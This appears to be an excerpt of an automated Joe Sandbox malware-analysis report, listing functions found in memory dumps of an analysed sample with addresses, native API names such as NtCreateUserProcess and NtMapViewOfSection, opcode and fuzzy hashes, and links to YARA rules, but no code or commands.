Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 1be96f27780c6eba818b28c3e387e004753d3d2cd7196433cdd8a82ed1c37dca
Instruction ID: 072f0ebf25a7fa8da2e8349175403aba398764f345517bc9eed7e447e957a590
Opcode Fuzzy Hash: 1be96f27780c6eba818b28c3e387e004753d3d2cd7196433cdd8a82ed1c37dca
Instruction Fuzzy Hash: DCD12DB1A09B049FD71ACE24C8907EBB7E59F88351F09892DE8958B381E734DD85C793

Function 0044C8C4 Relevance: 1.6, Strings: 1, Instructions: 368COMMON

Download Yara Rule

Strings

@, xrefs: 0044CC9F

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 61f1ed272602d0885617d13e43fd8036c565ee1c8b0b970ceb850485be8a085f
Instruction ID: a0d64a4553a03e26663ac58ca5cff1993015e55e2e9e621b85f71b69d4e9d477
Opcode Fuzzy Hash: 61f1ed272602d0885617d13e43fd8036c565ee1c8b0b970ceb850485be8a085f
Instruction Fuzzy Hash: 2EF17870E02259CBEF54CF98C5C06EEBBB2FF89314F28816AD815A7350D7385A42CB58

Function 0032A660 Relevance: 1.6, Strings: 1, Instructions: 358COMMON

Download Yara Rule

Strings

q, xrefs: 0032A6ED

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: q
API String ID: 0-4110462503
Opcode ID: 6b9fbd39443f1beb30a2a98b9fc5d395b3b0da265f0222f5663664f25097f217
Instruction ID: 88db6d02f4da9fd73ed5c15586c2994f36a05104cfd5db0377e681b91fec6c2b
Opcode Fuzzy Hash: 6b9fbd39443f1beb30a2a98b9fc5d395b3b0da265f0222f5663664f25097f217
Instruction Fuzzy Hash: 13C1027160C7514FC31ACE29D89022EBBE2AFD5314F19CA7DE8E587392DA74D846CB42

Function 002F5790 Relevance: 1.6, Strings: 1, Instructions: 356COMMON

Download Yara Rule

Strings

[/, xrefs: 002F5BD8

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: [/
API String ID: 0-380579162
Opcode ID: db63153e68d53018fdc1e5a2c034acd467f3761df7bde1968d2bac938eaf98bd
Instruction ID: 056773a7c2672acb99bc5e0748b860c54360a17a6a4dd887a363029bc3dd84e1
Opcode Fuzzy Hash: db63153e68d53018fdc1e5a2c034acd467f3761df7bde1968d2bac938eaf98bd
Instruction Fuzzy Hash: 86E13531118380EFC705CF68D881AAFBBE5EF99350F04886DFA8587261D3B5D964DB92

Function 0031786C Relevance: 1.6, Strings: 1, Instructions: 352COMMON

Download Yara Rule

Strings

&%$#, xrefs: 00318210

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: &%$#
API String ID: 0-3373546273
Opcode ID: ba3016937ec5e24a1aa8bff85f157cc56b3cd64fc4008146e7e940df60ebcc1c
Instruction ID: f6ba35ae1a103c7f78f42cc8ed015183d7dde5ef28da293e60b8463ffd249a6d
Opcode Fuzzy Hash: ba3016937ec5e24a1aa8bff85f157cc56b3cd64fc4008146e7e940df60ebcc1c
Instruction Fuzzy Hash: B3C12432E04255CFDB0ACF68D8913ADBBB2BF4A320F1A82A8D45567391D7359D85CB90

Function 0042EFF0 Relevance: 1.6, Strings: 1, Instructions: 320COMMON

Download Yara Rule

Strings

, xrefs: 0042F114

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID:
API String ID: 0-2599400749
Opcode ID: ab8d72a91c5b28bc5e7715513cf443cb76c99ae149240d55a8f55a3d4aba0d2f
Instruction ID: a5c91cb35997efc5ebfbefd9dc8599b0eaff5a80403e18fdbee7a47d8e7c78a4
Opcode Fuzzy Hash: ab8d72a91c5b28bc5e7715513cf443cb76c99ae149240d55a8f55a3d4aba0d2f
Instruction Fuzzy Hash: AEA18C15304265A6EB12AE25F6053EF26329F81308FD5843BED804B396C67DCD5BD39E

Function 004AFF40 Relevance: 1.6, Strings: 1, Instructions: 320COMMON

Download Yara Rule

Strings

, xrefs: 004B0064

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID:
API String ID: 0-2599400749
Opcode ID: ab8d72a91c5b28bc5e7715513cf443cb76c99ae149240d55a8f55a3d4aba0d2f
Instruction ID: 88a9ea32e74a0f1a6ccd09fabea05601f77d0bc08d715773c09849f163c13445
Opcode Fuzzy Hash: ab8d72a91c5b28bc5e7715513cf443cb76c99ae149240d55a8f55a3d4aba0d2f
Instruction Fuzzy Hash: 81A1C31530424946EF56AE68D5093EF1352AF5634AF18802BFC944B7E6C63DCD4BC3AE

Function 002FDF60 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

7 , xrefs: 002FE1C5

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-3937440259
Opcode ID: feb970fe6e04c450e949b385f2cecf970221968951075582a61327c58b833b4a
Instruction ID: 4e08c8247a777206ae368cf94cd74737d60401f9fc0a8e7ba1065a544e5eccc1
Opcode Fuzzy Hash: feb970fe6e04c450e949b385f2cecf970221968951075582a61327c58b833b4a
Instruction Fuzzy Hash: 2091117266838087CB358B248C917EBBBD2EFD6354F098A3CD58897292E7355916C742

Function 0030DEE0 Relevance: 1.6, Strings: 1, Instructions: 307COMMON

Download Yara Rule

Strings

~, xrefs: 0030DFAD

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: ~
API String ID: 0-1707062198
Opcode ID: 5102a21e2af22cad452db2444b4e8d722a5504f7b8b4dd241be590fef9f13a2f
Instruction ID: 4718481ab22bb6d653a4e9e9a88712402662ba8091c92759016101263dc9fd40
Opcode Fuzzy Hash: 5102a21e2af22cad452db2444b4e8d722a5504f7b8b4dd241be590fef9f13a2f
Instruction Fuzzy Hash: BEA11872A052655FCB26CE28DC5125AF7E1ABD5320F1AC63DE8A9CB3C2C670DD0697C1

Function 0039C36C Relevance: 1.6, APIs: 1, Instructions: 52filenativeCOMMON

Download Yara Rule

APIs

NtQueryDirectoryFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 0039C3C4

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: DirectoryFileQuery
String ID:
API String ID: 3295332484-0
Opcode ID: 44732462cbb4270207040599c403f5d7f2f3bef9361eb64c89265b463a0385e4
Instruction ID: 91cede98c76cbec5723ad0d2fea79e4ba008c159f4699a75760b08d5f67f1c0f
Opcode Fuzzy Hash: 44732462cbb4270207040599c403f5d7f2f3bef9361eb64c89265b463a0385e4
Instruction Fuzzy Hash: 3101DAB62552897F9B01CE9ADCD4DEBBBACFB9E254B488144FA4893202C234AC11C770

Function 0039BCF8 Relevance: 1.6, APIs: 1, Instructions: 52nativeCOMMON

Download Yara Rule

APIs

NtCreateUserProcess.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 0039BD50

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 49b3da395827d7d4110597c969a135b65559b35481dc4fc9025c0b5c3c635473
Instruction ID: 48f296556493cf02bc2b523af73d2849f74257029bde9c7c631bc0f4827c03be
Opcode Fuzzy Hash: 49b3da395827d7d4110597c969a135b65559b35481dc4fc9025c0b5c3c635473
Instruction Fuzzy Hash: 3F019AB2200249BFDB00CE8ADDC4DDBBBACFB8D354B544115FB1893202D270AC118BB5

Function 0039C180 Relevance: 1.5, APIs: 1, Instructions: 48nativeCOMMON

Download Yara Rule

APIs

NtNotifyChangeKey.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 0039C1D0

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: ChangeNotify
String ID:
API String ID: 3893256919-0
Opcode ID: fb200a672fb9e8ddc6e1cd4d5eb8f2fdf453835fba6cc0e34aab48627ee1e3b1
Instruction ID: c7079314cd320404e0f28bd0aa02a929f1aea706ddd0c103cd7001c03d964664
Opcode Fuzzy Hash: fb200a672fb9e8ddc6e1cd4d5eb8f2fdf453835fba6cc0e34aab48627ee1e3b1
Instruction Fuzzy Hash: E60112A22051897FDB01CE9ADCC4CEB7F6CFB5E250B444015FA4983202C1709C50C7B5

Function 0039C48C Relevance: 1.5, APIs: 1, Instructions: 48filenativeCOMMON

Download Yara Rule

APIs

NtLockFile.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 0039C4DC

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: FileLock
String ID:
API String ID: 3169042693-0
Opcode ID: f3aa141b4509ac316645926c8a8511877f130b4d448eedcdb6ceae7f7d08985b
Instruction ID: aad26b58fe8cfa52a27da00ecf2facb9ce59be0d1485e0ce73958856a8952f1b
Opcode Fuzzy Hash: f3aa141b4509ac316645926c8a8511877f130b4d448eedcdb6ceae7f7d08985b
Instruction Fuzzy Hash: C601E6B62051897FDB11CE9ADCD5DEBBF6CFB5E650B444115FA4883202C1709C50C7B1

Function 0039C58C Relevance: 1.5, APIs: 1, Instructions: 48nativeCOMMON

Download Yara Rule

APIs

NtMapViewOfSection.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 0039C5DC

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 31accbc6e8ac1ffaef431c6b481a97b2d9db06723799af545c2301f576359db4
Instruction ID: 832fa834792abd106710aaa9568ae818ee4fcb261e83ce7cb28f523bf4ea8b37
Opcode Fuzzy Hash: 31accbc6e8ac1ffaef431c6b481a97b2d9db06723799af545c2301f576359db4
Instruction Fuzzy Hash: 0001BBB2200249BF9B00CF8ADCC4DEBBB6CFB8D350B444119BB0983202C270AC11CBB1

Function 0039BB50 Relevance: 1.5, APIs: 1, Instructions: 48filenativeCOMMON

Download Yara Rule

APIs

NtDeviceIoControlFile.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 0039BBA0

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: ControlDeviceFile
String ID:
API String ID: 3512290074-0
Opcode ID: 0da99b06d4f7c67e29b0e27c87c78634c1d6263656f5b1fa0240f16dd48f76b9
Instruction ID: 8b288af30c9720a3431ee7cc17fe94440a0d742ef89d42666c14212ef734c0f5
Opcode Fuzzy Hash: 0da99b06d4f7c67e29b0e27c87c78634c1d6263656f5b1fa0240f16dd48f76b9
Instruction Fuzzy Hash: 2E01ACB2100249BF9B10DE8ADCC4DDBBBACFB8D294B444115BB0997201D670AC10C7B1

Function 0039BE6C Relevance: 1.5, APIs: 1, Instructions: 48filenativeCOMMON

Download Yara Rule

APIs

NtFsControlFile.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 0039BEBC

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: ControlFile
String ID:
API String ID: 1795486800-0
Opcode ID: 9ab465fc83b2e6e31a6c6d474d75c7ad9594aa943a74522eb65a9ca0bf4ff595
Instruction ID: ac698ac55102add78371507c20f010180c7ca8f42762fec82467d1410a7bbb46
Opcode Fuzzy Hash: 9ab465fc83b2e6e31a6c6d474d75c7ad9594aa943a74522eb65a9ca0bf4ff595
Instruction Fuzzy Hash: C301BBB2204249BF9B00CE8AECC4DEBBB6CFB8D254B444119BB0887201C270AC508BB1

Function 0039C2E0 Relevance: 1.5, APIs: 1, Instructions: 44filenativeCOMMON

Download Yara Rule

APIs

NtWriteFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 0039C328

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6cbcfc4f7accd7fda23c5e2b79357dc35302b2983eeb07cca14ffa4cfe964ae2
Instruction ID: 372a6c3ac89b075f913531cf7d3c0e998927f01426b4c48967ee02e87d726fce
Opcode Fuzzy Hash: 6cbcfc4f7accd7fda23c5e2b79357dc35302b2983eeb07cca14ffa4cfe964ae2
Instruction Fuzzy Hash: 9FF0AFB6104249BFDB10CE8ADCC8DEB7B6CFB8D7A4B448119FA1897201D674AD50C7B1

Function 0039BCA0 Relevance: 1.5, APIs: 1, Instructions: 44nativeCOMMON

Download Yara Rule

APIs

NtCreateProcessEx.NTDLL(?,?,?,?,?,?,?,?,?), ref: 0039BCE8

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: bfa36286a11519929db2bcc1c2b6fba2cbf4ad95ad00c5ac053ae6cc974a4e34
Instruction ID: 0082f61fa0e7e060dd318aff7f6959a14900517eccbd04ec94430986c071ea00
Opcode Fuzzy Hash: bfa36286a11519929db2bcc1c2b6fba2cbf4ad95ad00c5ac053ae6cc974a4e34
Instruction Fuzzy Hash: 52F0AFB6100259BFDB10CF8ADCC4DABBB6CFB8D7A1B548119FA1887201D670AD10CBB1

Function 0039BE14 Relevance: 1.5, APIs: 1, Instructions: 44filenativeCOMMON

Download Yara Rule

APIs

NtNotifyChangeDirectoryFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 0039BE5C

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: ChangeDirectoryFileNotify
String ID:
API String ID: 1357473996-0
Opcode ID: 349965243b5a9b19de1f1b04bd8685c28cff6dde43ed31a1086f0e7485687079
Instruction ID: a1eee0141f25b2bb69963c5d4a11d05738b39e72c67e179a0a79e5d884ff2306
Opcode Fuzzy Hash: 349965243b5a9b19de1f1b04bd8685c28cff6dde43ed31a1086f0e7485687079
Instruction Fuzzy Hash: C0F0FFB2500249BFDB10CE9AECC8DEBBB6CFB8D664B444019FB0893201C270AC10C7B1

Function 0039BBE4 Relevance: 1.5, APIs: 1, Instructions: 40nativethreadCOMMON

Download Yara Rule

APIs

NtCreateThread.NTDLL(?,?,?,?,?,?,?,?), ref: 0039BC24

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

